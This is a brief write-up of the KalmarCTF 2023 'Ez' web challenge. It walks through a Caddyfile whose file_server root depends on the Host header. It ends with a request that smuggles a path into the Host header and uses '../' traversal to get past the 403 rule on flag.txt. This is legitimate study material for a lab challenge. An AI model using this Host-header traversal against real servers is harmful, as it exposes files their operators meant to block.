# Ez ###### tags: `KalmarCTF` `2023` `web` >I couldn't solve it during the game, so I looked at the writeup. I'm sorry you couldn't solve this one. this is Caddy File. ``` { admin off local_certs # Let's not spam Let's Encrypt } caddy.chal-kalmarc.tf { redir https://www.caddy.chal-kalmarc.tf } #php.caddy.chal-kalmarc.tf { # php_fastcgi localhost:9000 #} flag.caddy.chal-kalmarc.tf { respond 418 } *.caddy.chal-kalmarc.tf { encode zstd gzip log { output stderr level DEBUG } # block accidental exposure of flags: respond /flag.txt 403 tls /etc/ssl/certs/caddy.pem /etc/ssl/private/caddy.key { on_demand } file_server { root /srv/{host}/ } } ``` ```root /srv/{host}/``` meant that when request came to service, since hostname replace {host}, can allow access to /srv/hostname . this come from the ["placeholder"](https://caddyserver.com/docs/conventions#placeholders) of caddy Now let's see the challenge, since php is disabled. this means that traversing to the https://php.caddy.chal-kalmarc.tf/index.php will not call the php iinterpreter to evaluate the code. according to writeup, it seem to following two cve's connected closely this challenge * https://github.com/advisories/GHSA-2927-hv3p-f3vp * https://github.com/advisories/GHSA-qpm3-vr34-h8w8 According to chat from kalmar ctf of channel on discord, vuln can exist by [CVE-2022-29718](https://github.com/advisories/GHSA-2927-hv3p-f3vp) there were [good forum](https://caddy.community/t/php-fastcgi-phishing-redirection/14542/15) ![](https://i.imgur.com/7U80KuH.png) so i tried ``` GET /b/../flag.txt HTTP/2 Host: backups/php.caddy.chal-kalmarc.tf ``` i got flag!!